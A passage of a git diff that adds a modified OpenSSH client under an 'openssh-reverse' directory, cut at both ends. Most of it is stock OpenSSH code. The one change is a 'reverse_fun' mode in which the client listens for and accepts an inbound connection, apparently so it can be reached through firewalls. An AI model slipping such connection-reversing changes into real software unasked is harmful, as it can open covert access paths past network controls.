/var/adm/syslog" 0.01 +"tail -200 /var/adm/syslog/syslog.log" 0.01 +"tail -200 /var/log/maillog" 0.01 +"tail -200 /var/adm/maillog" 0.01 diff --git a/other/openssh-reverse/ssh_prng_cmds.in b/other/openssh-reverse/ssh_prng_cmds.in new file mode 100644 index 0000000..d7389d7 --- /dev/null +++ b/other/openssh-reverse/ssh_prng_cmds.in @@ -0,0 +1,51 @@ +# entropy gathering commands + +# Format is: "program-name args" path rate + +# The "rate" represents the number of bits of usuable entropy per +# byte of command output. Be conservative. + +"ls -alni /var/log" @PROG_LS@ 0.02 +"ls -alni /var/adm" @PROG_LS@ 0.02 +"ls -alni /var/mail" @PROG_LS@ 0.02 +"ls -alni /var/spool/mail" @PROG_LS@ 0.02 +"ls -alni /proc" @PROG_LS@ 0.02 +"ls -alni /tmp" @PROG_LS@ 0.02 + +"netstat -an" @PROG_NETSTAT@ 0.05 +"netstat -in" @PROG_NETSTAT@ 0.05 +"netstat -rn" @PROG_NETSTAT@ 0.02 +"netstat -pn" @PROG_NETSTAT@ 0.02 +"netstat -s" @PROG_NETSTAT@ 0.02 + +"arp -a -n" @PROG_ARP@ 0.02 + +"ifconfig -a" @PROG_IFCONFIG@ 0.02 + +"ps laxww" @PROG_PS@ 0.03 +"ps -al" @PROG_PS@ 0.03 +"ps -efl" @PROG_PS@ 0.03 + +"w" @PROG_W@ 0.05 + +"who -i" @PROG_WHO@ 0.01 + +"last" @PROG_LAST@ 0.01 + +"lastlog" @PROG_LASTLOG@ 0.01 + +"df" @PROG_DF@ 0.01 +"df -i" @PROG_DF@ 0.01 + +"vmstat" @PROG_VMSTAT@ 0.01 +"uptime" @PROG_UPTIME@ 0.01 + +"ipcs -a" @PROG_IPCS@ 0.01 + +"tail -200 /var/log/messages" @PROG_TAIL@ 0.01 +"tail -200 /var/log/syslog" @PROG_TAIL@ 0.01 +"tail -200 /var/adm/messages" @PROG_TAIL@ 0.01 +"tail -200 /var/adm/syslog" @PROG_TAIL@ 0.01 +"tail -200 /var/adm/syslog/syslog.log" @PROG_TAIL@ 0.01 +"tail -200 /var/log/maillog" @PROG_TAIL@ 0.01 +"tail -200 /var/adm/maillog" @PROG_TAIL@ 0.01 diff --git a/other/openssh-reverse/sshconnect.c b/other/openssh-reverse/sshconnect.c new file mode 100644 index 0000000..3621ee1 --- /dev/null +++ b/other/openssh-reverse/sshconnect.c @@ -0,0 +1,755 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Created: Sat Mar 18 22:15:47 1995 ylo + * Code to connect to a remote host, and to perform the client side of the + * login (authentication) dialog. + */ + +#include "includes.h" +RCSID("$OpenBSD: sshconnect.c,v 1.76 2000/06/17 20:30:10 markus Exp $"); + +#include +#include +#include + +#include "xmalloc.h" +#include "rsa.h" +#include "ssh.h" +#include "buffer.h" +#include "packet.h" +#include "uidswap.h" +#include "compat.h" +#include "readconf.h" +#include "key.h" +#include "sshconnect.h" +#include "hostfile.h" + +char *client_version_string = NULL; +char *server_version_string = NULL; + +extern Options options; +#ifdef HAVE___PROGNAME +extern char *__progname; +#else /* HAVE___PROGNAME */ +static const char *__progname = "ssh"; +#endif /* HAVE___PROGNAME */ + +/* + * Connect to the given ssh server using a proxy command. + */ +int +ssh_proxy_connect(const char *host, u_short port, uid_t original_real_uid, + const char *proxy_command) +{ + Buffer command; + const char *cp; + char *command_string; + int pin[2], pout[2]; + pid_t pid; + char strport[NI_MAXSERV]; + + /* Convert the port number into a string. */ + snprintf(strport, sizeof strport, "%hu", port); + + /* Build the final command string in the buffer by making the + appropriate substitutions to the given proxy command. */ + buffer_init(&command); + for (cp = proxy_command; *cp; cp++) { + if (cp[0] == '%' && cp[1] == '%') { + buffer_append(&command, "%", 1); + cp++; + continue; + } + if (cp[0] == '%' && cp[1] == 'h') { + buffer_append(&command, host, strlen(host)); + cp++; + continue; + } + if (cp[0] == '%' && cp[1] == 'p') { + buffer_append(&command, strport, strlen(strport)); + cp++; + continue; + } + buffer_append(&command, cp, 1); + } + buffer_append(&command, "\0", 1); + + /* Get the final command string. */ + command_string = buffer_ptr(&command); + + /* Create pipes for communicating with the proxy. */ + if (pipe(pin) < 0 || pipe(pout) < 0) + fatal("Could not create pipes to communicate with the proxy: %.100s", + strerror(errno)); + + debug("Executing proxy command: %.500s", command_string); + + /* Fork and execute the proxy command. */ + if ((pid = fork()) == 0) { + char *argv[10]; + + /* Child. Permanently give up superuser privileges. */ + permanently_set_uid(original_real_uid); + + /* Redirect stdin and stdout. */ + close(pin[1]); + if (pin[0] != 0) { + if (dup2(pin[0], 0) < 0) + perror("dup2 stdin"); + close(pin[0]); + } + close(pout[0]); + if (dup2(pout[1], 1) < 0) + perror("dup2 stdout"); + /* Cannot be 1 because pin allocated two descriptors. */ + close(pout[1]); + + /* Stderr is left as it is so that error messages get + printed on the user's terminal. */ + argv[0] = _PATH_BSHELL; + argv[1] = "-c"; + argv[2] = command_string; + argv[3] = NULL; + + /* Execute the proxy command. Note that we gave up any + extra privileges above. */ + execv(_PATH_BSHELL, argv); + perror(_PATH_BSHELL); + exit(1); + } + /* Parent. */ + if (pid < 0) + fatal("fork failed: %.100s", strerror(errno)); + + /* Close child side of the descriptors. */ + close(pin[0]); + close(pout[1]); + + /* Free the command name. */ + buffer_free(&command); + + /* Set the connection file descriptors. */ + packet_set_connection(pout[0], pin[1]); + + return 1; +} + +/* + * Creates a (possibly privileged) socket for use as the ssh connection. + */ +int +ssh_create_socket(uid_t original_real_uid, int privileged, int family) +{ + int sock; + + /* + * If we are running as root and want to connect to a privileged + * port, bind our own socket to a privileged port. + */ + if (privileged) { + int p = IPPORT_RESERVED - 1; + sock = rresvport_af(&p, family); + if (sock < 0) + error("rresvport: af=%d %.100s", family, strerror(errno)); + else + debug("Allocated local port %d.", p); + } else { + /* + * Just create an ordinary socket on arbitrary port. We use + * the user's uid to create the socket. + */ + temporarily_use_uid(original_real_uid); + sock = socket(family, SOCK_STREAM, 0); + if (sock < 0) + error("socket: %.100s", strerror(errno)); + restore_uid(); + } + return sock; +} + +/* + * Opens a TCP/IP connection to the remote server on the given host. + * The address of the remote host will be returned in hostaddr. + * If port is 0, the default port will be used. If anonymous is zero, + * a privileged port will be allocated to make the connection. + * This requires super-user privileges if anonymous is false. + * Connection_attempts specifies the maximum number of tries (one per + * second). If proxy_command is non-NULL, it specifies the command (with %h + * and %p substituted for host and port, respectively) to use to contact + * the daemon. + */ +extern int reverse_fun; + +int +ssh_connect(const char *host, struct sockaddr_storage * hostaddr, + u_short port, int connection_attempts, + int anonymous, uid_t original_real_uid, + const char *proxy_command) +{ + int sock = -1, attempt; + struct servent *sp; + struct addrinfo hints, *ai, *aitop; + char ntop[NI_MAXHOST], strport[NI_MAXSERV]; + int gaierr; + struct linger linger; + + debug("ssh_connect: getuid %d geteuid %d anon %d", + (int) getuid(), (int) geteuid(), anonymous); + + /* Get default port if port has not been set. */ + if (port == 0) { + sp = getservbyname(SSH_SERVICE_NAME, "tcp"); + if (sp) + port = ntohs(sp->s_port); + else + port = SSH_DEFAULT_PORT; + } + /* If a proxy command is given, connect using it. */ + if (proxy_command != NULL && !reverse_fun) + return ssh_proxy_connect(host, port, original_real_uid, proxy_command); + + /* No proxy command. */ + + memset(&hints, 0, sizeof(hints)); + hints.ai_family = IPv4or6; + hints.ai_socktype = SOCK_STREAM; + snprintf(strport, sizeof strport, "%d", port); + if ((gaierr = getaddrinfo(host, strport, &hints, &aitop)) != 0) + fatal("%s: %.100s: %s", __progname, host, + gai_strerror(gaierr)); + + /* Lets have reverse fun, in this case client acts as server + */ + if (reverse_fun) { + int s, one = 1, size_aa = sizeof(struct sockaddr); + struct addrinfo *aid; + struct sockaddr aa; + + if ((gaierr = getaddrinfo("127.0.0.1", strport, &hints, &aid)) < 0) { + fprintf(stderr, "getaddrinfo (during reverse fun): %s\n", gai_strerror(gaierr)); + exit(gaierr); + } + + /* IPv4 */ + if (aid->ai_family == PF_INET) { + ((struct sockaddr_in*)(aid->ai_addr))->sin_addr.s_addr = INADDR_ANY; + /* IPv6? :) */ + } +#ifdef HAVE_STRUCT_IN6_ADDR + else { + ((struct sockaddr_in6*)(aid->ai_addr))->sin6_addr = in6addr_any; + } +#endif + + + if ((s = socket(aid->ai_family, SOCK_STREAM, 0)) < 0) { + perror("socket (during reverse fun)"); + exit(errno); + } + + if (setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0) { + perror("setsockopt (during reverse fun)\n"); + exit(errno); + } + + printf("Reverse fun: binding to port %s\n", strport); + if (bind(s, (struct sockaddr*)(aid->ai_addr), sizeof(struct sockaddr)) < 0) { + perror("bind (during reverse fun)"); + exit(errno); + } + + if (listen(s, 1) < 0) { + perror("listen (during reverse fun)"); + exit(errno); + } + + if ((sock = accept(s, &aa, &size_aa)) < 0) { + perror("accept (during reverse fun)"); + exit(errno); + } + memcpy(hostaddr, &aa, size_aa); + + /* sorry, sorry, sorry! */ + goto start_fun; + } + + /* + * Try to connect several times. On some machines, the first time + * will sometimes fail. In general socket code appears to behave + * quite magically on many machines. + */ + for (attempt = 0; attempt < connection_attempts; attempt++) { + if (attempt > 0) + debug("Trying again..."); + + /* Loop through addresses for this host, and try each one in + sequence until the connection succeeds. */ + for (ai = aitop; ai; ai = ai->ai_next) { + if (ai->ai_family != AF_INET && ai->ai_family != AF_INET6) + continue; + if (getnameinfo(ai->ai_addr, ai->ai_addrlen, + ntop, sizeof(ntop), strport, sizeof(strport), + NI_NUMERICHOST|NI_NUMERICSERV) != 0) { + error("ssh_connect: getnameinfo failed"); + continue; + } + debug("Connecting to %.200s [%.100s] port %s.", + host, ntop, strport); + + /* Create a socket for connecting. */ + sock = ssh_create_socket(original_real_uid, + !anonymous && geteuid() == 0 && port < IPPORT_RESERVED, + ai->ai_family); + if (sock < 0) + continue; + + /* Connect to the host. We use the user's uid in the + * hope that it will help with tcp_wrappers showing + * the remote uid as root. + */ + temporarily_use_uid(original_real_uid); + if (connect(sock, ai->ai_addr, ai->ai_addrlen) >= 0) { + /* Successful connection. */ + memcpy(hostaddr, ai->ai_addr, ai->ai_addrlen); + restore_uid(); + break; + } else { + debug("connect: %.100s", strerror(errno)); + restore_uid(); + /* + * Close the failed socket; there appear to + * be some problems when reusing a socket for + * which connect() has already returned an + * error. + */ + shutdown(sock, SHUT_RDWR); + close(sock); + } + } + if (ai) + break; /* Successful connection. */ + + /* Sleep a moment before retrying. */ + sleep(1); + } + + freeaddrinfo(aitop); + + /* Return failure if we didn't get a successful connection. */ + if (attempt >= connection_attempts) + return 0; + +start_fun: + debug("Connection established."); + + /* + * Set socket options. We would like the socket to disappear as soon + * as it has been closed for whatever reason. + */ + /* setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (void *)&on, sizeof(on)); */ + linger.l_onoff = 1; + linger.l_linger = 5; + setsockopt(sock, SOL_SOCKET, SO_LINGER, (void *) &linger, sizeof(linger)); + + /* Set the connection. */ + packet_set_connection(sock, sock); + + return 1; +} + +/* + * Waits for the server identification string, and sends our own + * identification string. + */ +void +ssh_exchange_identification() +{ + char buf[256], remote_version[256]; /* must be same size! */ + int remote_major, remote_minor, i, mismatch; + int connection_in = packet_get_connection_in(); + int connection_out = packet_get_connection_out(); + + /* Read other side\'s version identification. */ + for (;;) { + for (i = 0; i < sizeof(buf) - 1; i++) { + int len = atomicio(read, connection_in, &buf[i], 1); + if (len < 0) + fatal("ssh_exchange_identification: read: %.100s", strerror(errno)); + if (len != 1) + fatal("ssh_exchange_identification: Connection closed by remote host"); + if (buf[i] == '\r') { + buf[i] = '\n'; + buf[i + 1] = 0; + continue; /**XXX wait for \n */ + } + if (buf[i] == '\n') { + buf[i + 1] = 0; + break; + } + } + buf[sizeof(buf) - 1] = 0; + if (strncmp(buf, "SSH-", 4) == 0) + break; + debug("ssh_exchange_identification: %s", buf); + } + server_version_string = xstrdup(buf); + + /* + * Check that the versions match. In future this might accept + * several versions and set appropriate flags to handle them. + */ + if (sscanf(server_version_string, "SSH-%d.%d-%[^\n]\n", + &remote_major, &remote_minor, remote_version) != 3) + fatal("Bad remote protocol version identification: '%.100s'", buf); + debug("Remote protocol version %d.%d, remote software version %.100s", + remote_major, remote_minor, remote_version); + + compat_datafellows(remote_version); + mismatch = 0; + + switch(remote_major) { + case 1: + if (remote_minor == 99 && + (options.protocol & SSH_PROTO_2) && + !(options.protocol & SSH_PROTO_1_PREFERRED)) { + enable_compat20(); + break; + } + if (!(options.protocol & SSH_PROTO_1)) { + mismatch = 1; + break; + } + if (remote_minor < 3) { + fatal("Remote machine has too old SSH software version."); + } else if (remote_minor == 3) { + /* We speak 1.3, too. */ + enable_compat13(); + if (options.forward_agent) { + log("Agent forwarding disabled for protocol 1.3"); + options.forward_agent = 0; + } + } + break; + case 2: + if (options.protocol & SSH_PROTO_2) { + enable_compat20(); + break; + } + /* FALLTHROUGH */ + default: + mismatch = 1; + break; + } + if (mismatch) + fatal("Protocol major versions differ: %d vs. %d", + (options.protocol & SSH_PROTO_2) ? PROTOCOL_MAJOR_2 : PROTOCOL_MAJOR_1, + remote_major); + if (compat20) + packet_set_ssh2_format(); + /* Send our own protocol version identification. */ + snprintf(buf, sizeof buf, "SSH-%d.%d-%.100s\n", + compat20 ? PROTOCOL_MAJOR_2 : PROTOCOL_MAJOR_1, + compat20 ? PROTOCOL_MINOR_2 : PROTOCOL_MINOR_1, + SSH_VERSION); + if (atomicio(write, connection_out, buf, strlen(buf)) != strlen(buf)) + fatal("write: %.100s", strerror(errno)); + client_version_string = xstrdup(buf); + chop(client_version_string); + chop(server_version_string); + debug("Local version string %.100s", client_version_string); +} + +int +read_yes_or_no(const char *prompt, int defval) +{ + char buf[1024]; + FILE *f; + int retval = -1; + + if (isatty(0)) + f = stdin; + else + f = fopen("/dev/tty", "rw"); + + if (f == NULL) + return 0; + + fflush(stdout); + + while (1) { + fprintf(stderr, "%s", prompt); + if (fgets(buf, sizeof(buf), f) == NULL) { + /* Print a newline (the prompt probably didn\'t have one). */ + fprintf(stderr, "\n"); + strlcpy(buf, "no", sizeof buf); + } + /* Remove newline from response. */ + if (strchr(buf, '\n')) + *strchr(buf, '\n') = 0; + + if (buf[0] == 0) + retval = defval; + if (strcmp(buf, "yes") == 0) + retval = 1; + if (strcmp(buf, "no") == 0) + retval = 0; + + if (retval != -1) { + if (f != stdin) + fclose(f); + return retval; + } + } +} + +/* + * check whether the supplied host key is valid, return only if ok. + */ + +void +check_host_key(char *host, struct sockaddr *hostaddr, Key *host_key, + const char *user_hostfile, const char *system_hostfile) +{ + Key *file_key; + char *type = key_type(host_key); + char *ip = NULL; + char hostline[1000], *hostp; + HostStatus host_status; + HostStatus ip_status; + int local = 0, host_ip_differ = 0; + int salen; + char ntop[NI_MAXHOST]; + + /* + * Force accepting of the host key for loopback/localhost. The + * problem is that if the home directory is NFS-mounted to multiple + * machines, localhost will refer to a different machine in each of + * them, and the user will get bogus HOST_CHANGED warnings. This + * essentially disables host authentication for localhost; however, + * this is probably not a real problem. + */ + /** hostaddr == 0! */ + switch (hostaddr->sa_family) { + case AF_INET: + local = (ntohl(((struct sockaddr_in *)hostaddr)->sin_addr.s_addr) >> 24) == IN_LOOPBACKNET; + salen = sizeof(struct sockaddr_in); + break; + case AF_INET6: + local = IN6_IS_ADDR_LOOPBACK(&(((struct sockaddr_in6 *)hostaddr)->sin6_addr)); + salen = sizeof(struct sockaddr_in6); + break; + default: + local = 0; + salen = sizeof(struct sockaddr_storage); + break; + } + if (local) { + debug("Forcing accepting of host key for loopback/localhost."); + return; + } + + /* + * Turn off check_host_ip for proxy connects, since + * we don't have the remote ip-address + */ + if (options.proxy_command != NULL && options.check_host_ip) + options.check_host_ip = 0; + + if (options.check_host_ip) { + if (getnameinfo(hostaddr, salen, ntop, sizeof(ntop), + NULL, 0, NI_NUMERICHOST) != 0) + fatal("check_host_key: getnameinfo failed"); + ip = xstrdup(ntop); + } + + /* + * Store the host key from the known host file in here so that we can + * compare it with the key for the IP address. + */ + file_key = key_new(host_key->type); + + /* + * Check if the host key is present in the user\'s list of known + * hosts or in the systemwide list. + */ + host_status = check_host_in_hostfile(user_hostfile, host, host_key, file_key); + if (host_status == HOST_NEW) + host_status = check_host_in_hostfile(system_hostfile, host, host_key, file_key); + /* + * Also perform check for the ip address, skip the check if we are + * localhost or the hostname was an ip address to begin with + */ + if (options.check_host_ip && !local && strcmp(host, ip)) { + Key *ip_key = key_new(host_key->type); + ip_status = check_host_in_hostfile(user_hostfile, ip, host_key, ip_key); + + if (ip_status == HOST_NEW) + ip_status = check_host_in_hostfile(system_hostfile, ip, host_key, ip_key); + if (host_status == HOST_CHANGED && + (ip_status != HOST_CHANGED || !key_equal(ip_key, file_key))) + host_ip_differ = 1; + + key_free(ip_key); + } else + ip_status = host_status; + + key_free(file_key); + + switch (host_status) { + case HOST_OK: + /* The host is known and the key matches. */ + debug("Host '%.200s' is known and matches the %s host key.", + host, type); + if (options.check_host_ip) { + if (ip_status == HOST_NEW) { + if (!add_host_to_hostfile(user_hostfile, ip, host_key)) + log("Failed to add the %s host key for IP address '%.30s' to the list of known hosts (%.30s).", + type, ip, user_hostfile); + else + log("Warning: Permanently added the %s host key for IP address '%.30s' to the list of known hosts.", + type, ip); + } else if (ip_status != HOST_OK) + log("Warning: the %s host key for '%.200s' differs from the key for the IP address '%.30s'", + type, host, ip); + } + break; + case HOST_NEW: + /* The host is new. */ + if (options.strict_host_key_checking == 1) { + /* User has requested strict host key checking. We will not add the host key + automatically. The only alternative left is to abort. */ + fatal("No %s host key is known for %.200s and you have requested strict checking.", type, host); + } else if (options.strict_host_key_checking == 2) { + /* The default */ + char prompt[1024]; + char *fp = key_fingerprint(host_key); + snprintf(prompt, sizeof(prompt), + "The authenticity of host '%.200s' can't be established.\n" + "%s key fingerprint is %s.\n" + "Are you sure you want to continue connecting (yes/no)? ", + host, type, fp); + if (!read_yes_or_no(prompt, -1)) + fatal("Aborted by user!\n"); + } + if (options.check_host_ip && ip_status == HOST_NEW && strcmp(host, ip)) { + snprintf(hostline, sizeof(hostline), "%s,%s", host, ip); + hostp = hostline; + } else + hostp = host; + + /* If not in strict mode, add the key automatically to the local known_hosts file. */ + if (!add_host_to_hostfile(user_hostfile, hostp, host_key)) + log("Failed to add the host to the list of known hosts (%.500s).", + user_hostfile); + else + log("Warning: Permanently added '%.200s' (%s) to the list of known hosts.", + hostp, type); + break; + case HOST_CHANGED: + if (options.check_host_ip && host_ip_differ) { + char *msg; + if (ip_status == HOST_NEW) + msg = "is unknown"; + else if (ip_status == HOST_OK) + msg = "is unchanged"; + else + msg = "has a different value"; + error("@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"); + error("@ WARNING: POSSIBLE DNS SPOOFING DETECTED! @"); + error("@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"); + error("The %s host key for %s has changed,", type, host); + error("and the key for the according IP address %s", ip); + error("%s. This could either mean that", msg); + error("DNS SPOOFING is happening or the IP address for the host"); + error("and its host key have changed at the same time"); + } + /* The host key has changed. */ + error("@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"); + error("@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @"); + error("@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"); + error("IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!"); + error("Someone could be eavesdropping on you right now (man-in-the-middle attack)!"); + error("It is also possible that the %s host key has just been changed.", type); + error("Please contact your system administrator."); + error("Add correct host key in %.100s to get rid of this message.", + user_hostfile); + + /* + * If strict host key checking is in use, the user will have + * to edit the key manually and we can only abort. + */ + if (options.strict_host_key_checking) + fatal("%s host key for %.200s has changed and you have requested strict checking.", type, host); + + /* + * If strict host key checking has not been requested, allow + * the connection but without password authentication or + * agent forwarding. + */ + if (options.password_authentication) { + error("Password authentication is disabled to avoid trojan horses."); + options.password_authentication = 0; + } + if (options.forward_agent) { + error("Agent forwarding is disabled to avoid trojan horses."); + options.forward_agent = 0; + } + /* + * XXX Should permit the user to change to use the new id. + * This could be done by converting the host key to an + * identifying sentence, tell that the host identifies itself + * by that sentence, and ask the user if he/she whishes to + * accept the authentication. + */ + break; + } + if (options.check_host_ip) + xfree(ip); +} + +/* + * Starts a dialog with the server, and authenticates the current user on the + * server. This does not need any extra privileges. The basic connection + * to the server must already have been established before this is called. + * If login fails, this function prints an error and never returns. + * This function does not require super-user privileges. + */ +void +ssh_login(int host_key_valid, RSA *own_host_key, const char *orighost, + struct sockaddr *hostaddr, uid_t original_real_uid) +{ + struct passwd *pw; + char *host, *cp; + char *server_user, *local_user; + + /* Get local user name. Use it as server user if no user name was given. */ + pw = getpwuid(original_real_uid); + if (!pw) + fatal("User id %d not found from user database.", original_real_uid); + local_user = xstrdup(pw->pw_name); + server_user = options.user ? options.user : local_user; + + /* Convert the user-supplied hostname into all lowercase. */ + host = xstrdup(orighost); + for (cp = host; *cp; cp++) + if (isupper(*cp)) + *cp = tolower(*cp); + + /* Exchange protocol version identification strings with the server. */ + ssh_exchange_identification(); + + /* Put the connection into non-blocking mode. */ + packet_set_nonblocking(); + + /* key exchange */ + /* authenticate user */ + if (compat20) { + ssh_kex2(host, hostaddr); + ssh_userauth2(server_user, host); + } else { + ssh_kex(host, hostaddr); + ssh_userauth(local_user, server_user, host, host_key_valid, own_host_key); + } +} diff --git a/other/openssh-reverse/sshconnect.h b/other/openssh-reverse/sshconnect.h new file mode 100644 index 0000000..13d395f --- /dev/null +++ b/other/openssh-reverse/sshconnect.h @@ -0,0 +1,16 @@ +#ifndef SSHCONNECT_H +#define SSHCONNECT_H + +void +check_host_key(char *host, struct sockaddr *hostaddr, Key *host_key, + const char *user_hostfile, const char *system_hostfile); + +void ssh_kex(char *host, struct sockaddr *hostaddr); +void +ssh_userauth(const char* local_user, const char* server_user, char *host, + int host_key_valid, RSA *own_host_key); + +void ssh_kex2(char *host, struct sockaddr *hostaddr); +void ssh_userauth2(const char *server_user, char *host); + +#endif diff --git a/other/openssh-reverse/sshconnect1.c b/other/openssh-reverse/sshconnect1.c new file mode 100644 index 0000000..4360d72 --- /dev/null +++ b/other/openssh-reverse/sshconnect1.c @@ -0,0 +1,1024 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Created: Sat Mar 18 22:15:47 1995 ylo + * Code to connect to a remote host, and to perform the client side of the + * login (authentication) dialog. + * + */ + +#include "includes.h" +RCSID("$OpenBSD: sshconnect1.c,v 1.3 2000/05/08 17:12:16 markus Exp $"); + +#include +#include +#include +#include + +#include "xmalloc.h" +#include "rsa.h" +#include "ssh.h" +#include "buffer.h" +#include "packet.h" +#include "authfd.h" +#include "cipher.h" +#include "mpaux.h" +#include "uidswap.h" +#include "readconf.h" +#include "key.h" +#include "sshconnect.h" +#include "authfile.h" + +/* Session id for the current session. */ +unsigned char session_id[16]; +unsigned int supported_authentications = 0; + +extern Options options; +extern char *__progname; + +/* + * Checks if the user has an authentication agent, and if so, tries to + * authenticate using the agent. + */ +int +try_agent_authentication() +{ + int status, type; + char *comment; + AuthenticationConnection *auth; + unsigned char response[16]; + unsigned int i; + BIGNUM *e, *n, *challenge; + + /* Get connection to the agent. */ + auth = ssh_get_authentication_connection(); + if (!auth) + return 0; + + e = BN_new(); + n = BN_new(); + challenge = BN_new(); + + /* Loop through identities served by the agent. */ + for (status = ssh_get_first_identity(auth, e, n, &comment); + status; + status = ssh_get_next_identity(auth, e, n, &comment)) { + int plen, clen; + + /* Try this identity. */ + debug("Trying RSA authentication via agent with '%.100s'", comment); + xfree(comment); + + /* Tell the server that we are willing to authenticate using this key. */ + packet_start(SSH_CMSG_AUTH_RSA); + packet_put_bignum(n); + packet_send(); + packet_write_wait(); + + /* Wait for server's response. */ + type = packet_read(&plen); + + /* The server sends failure if it doesn\'t like our key or + does not support RSA authentication. */ + if (type == SSH_SMSG_FAILURE) { + debug("Server refused our key."); + continue; + } + /* Otherwise it should have sent a challenge. */ + if (type != SSH_SMSG_AUTH_RSA_CHALLENGE) + packet_disconnect("Protocol error during RSA authentication: %d", + type); + + packet_get_bignum(challenge, &clen); + + packet_integrity_check(plen, clen, type); + + debug("Received RSA challenge from server."); + + /* Ask the agent to decrypt the challenge. */ + if (!ssh_decrypt_challenge(auth, e, n, challenge, + session_id, 1, response)) { + /* The agent failed to authenticate this identifier although it + advertised it supports this. Just return a wrong value. */ + log("Authentication agent failed to decrypt challenge."); + memset(response, 0, sizeof(response)); + } + debug("Sending response to RSA challenge."); + + /* Send the decrypted challenge back to the server. */ + packet_start(SSH_CMSG_AUTH_RSA_RESPONSE); + for (i = 0; i < 16; i++) + packet_put_char(response[i]); + packet_send(); + packet_write_wait(); + + /* Wait for response from the server. */ + type = packet_read(&plen); + + /* The server returns success if it accepted the authentication. */ + if (type == SSH_SMSG_SUCCESS) { + debug("RSA authentication accepted by server."); + BN_clear_free(e); + BN_clear_free(n); + BN_clear_free(challenge); + return 1; + } + /* Otherwise it should return failure. */ + if (type != SSH_SMSG_FAILURE) + packet_disconnect("Protocol error waiting RSA auth response: %d", + type); + } + + BN_clear_free(e); + BN_clear_free(n); + BN_clear_free(challenge); + + debug("RSA authentication using agent refused."); + return 0; +} + +/* + * Computes the proper response to a RSA challenge, and sends the response to + * the server. + */ +void +respond_to_rsa_challenge(BIGNUM * challenge, RSA * prv) +{ + unsigned char buf[32], response[16]; + MD5_CTX md; + int i, len; + + /* Decrypt the challenge using the private key. */ + rsa_private_decrypt(challenge, challenge, prv); + + /* Compute the response. */ + /* The response is MD5 of decrypted challenge plus session id. */ + len = BN_num_bytes(challenge); + if (len <= 0 || len > sizeof(buf)) + packet_disconnect("respond_to_rsa_challenge: bad challenge length %d", + len); + + memset(buf, 0, sizeof(buf)); + BN_bn2bin(challenge, buf + sizeof(buf) - len); + MD5_Init(&md); + MD5_Update(&md, buf, 32); + MD5_Update(&md, session_id, 16); + MD5_Final(response, &md); + + debug("Sending response to host key RSA challenge."); + + /* Send the response back to the server. */ + packet_start(SSH_CMSG_AUTH_RSA_RESPONSE); + for (i = 0; i < 16; i++) + packet_put_char(response[i]); + packet_send(); + packet_write_wait(); + + memset(buf, 0, sizeof(buf)); + memset(response, 0, sizeof(response)); + memset(&md, 0, sizeof(md)); +} + +/* + * Checks if the user has authentication file, and if so, tries to authenticate + * the user using it. + */ +int +try_rsa_authentication(const char *authfile) +{ + BIGNUM *challenge; + Key *public; + Key *private; + char *passphrase, *comment; + int type, i; + int plen, clen; + + /* Try to load identification for the authentication key. */ + public = key_new(KEY_RSA); + if (!load_public_key(authfile, public, &comment)) { + key_free(public); + /* Could not load it. Fail. */ + return 0; + } + debug("Trying RSA authentication with key '%.100s'", comment); + + /* Tell the server that we are willing to authenticate using this key. */ + packet_start(SSH_CMSG_AUTH_RSA); + packet_put_bignum(public->rsa->n); + packet_send(); + packet_write_wait(); + + /* We no longer need the public key. */ + key_free(public); + + /* Wait for server's response. */ + type = packet_read(&plen); + + /* + * The server responds with failure if it doesn\'t like our key or + * doesn\'t support RSA authentication. + */ + if (type == SSH_SMSG_FAILURE) { + debug("Server refused our key."); + xfree(comment); + return 0; + } + /* Otherwise, the server should respond with a challenge. */ + if (type != SSH_SMSG_AUTH_RSA_CHALLENGE) + packet_disconnect("Protocol error during RSA authentication: %d", type); + + /* Get the challenge from the packet. */ + challenge = BN_new(); + packet_get_bignum(challenge, &clen); + + packet_integrity_check(plen, clen, type); + + debug("Received RSA challenge from server."); + + private = key_new(KEY_RSA); + /* + * Load the private key. Try first with empty passphrase; if it + * fails, ask for a passphrase. + */ + if (!load_private_key(authfile, "", private, NULL)) { + char buf[300]; + snprintf(buf, sizeof buf, "Enter passphrase for RSA key '%.100s': ", + comment); + if (!options.batch_mode) + passphrase = read_passphrase(buf, 0); + else { + debug("Will not query passphrase for %.100s in batch mode.", + comment); + passphrase = xstrdup(""); + } + + /* Load the authentication file using the pasphrase. */ + if (!load_private_key(authfile, passphrase, private, NULL)) { + memset(passphrase, 0, strlen(passphrase)); + xfree(passphrase); + error("Bad passphrase."); + + /* Send a dummy response packet to avoid protocol error. */ + packet_start(SSH_CMSG_AUTH_RSA_RESPONSE); + for (i = 0; i < 16; i++) + packet_put_char(0); + packet_send(); + packet_write_wait(); + + /* Expect the server to reject it... */ + packet_read_expect(&plen, SSH_SMSG_FAILURE); + xfree(comment); + return 0; + } + /* Destroy the passphrase. */ + memset(passphrase, 0, strlen(passphrase)); + xfree(passphrase); + } + /* We no longer need the comment. */ + xfree(comment); + + /* Compute and send a response to the challenge. */ + respond_to_rsa_challenge(challenge, private->rsa); + + /* Destroy the private key. */ + key_free(private); + + /* We no longer need the challenge. */ + BN_clear_free(challenge); + + /* Wait for response from the server. */ + type = packet_read(&plen); + if (type == SSH_SMSG_SUCCESS) { + debug("RSA authentication accepted by server."); + return 1; + } + if (type != SSH_SMSG_FAILURE) + packet_disconnect("Protocol error waiting RSA auth response: %d", type); + debug("RSA authentication refused."); + return 0; +} + +/* + * Tries to authenticate the user using combined rhosts or /etc/hosts.equiv + * authentication and RSA host authentication. + */ +int +try_rhosts_rsa_authentication(const char *local_user, RSA * host_key) +{ + int type; + BIGNUM *challenge; + int plen, clen; + + debug("Trying rhosts or /etc/hosts.equiv with RSA host authentication."); + + /* Tell the server that we are willing to authenticate using this key. */ + 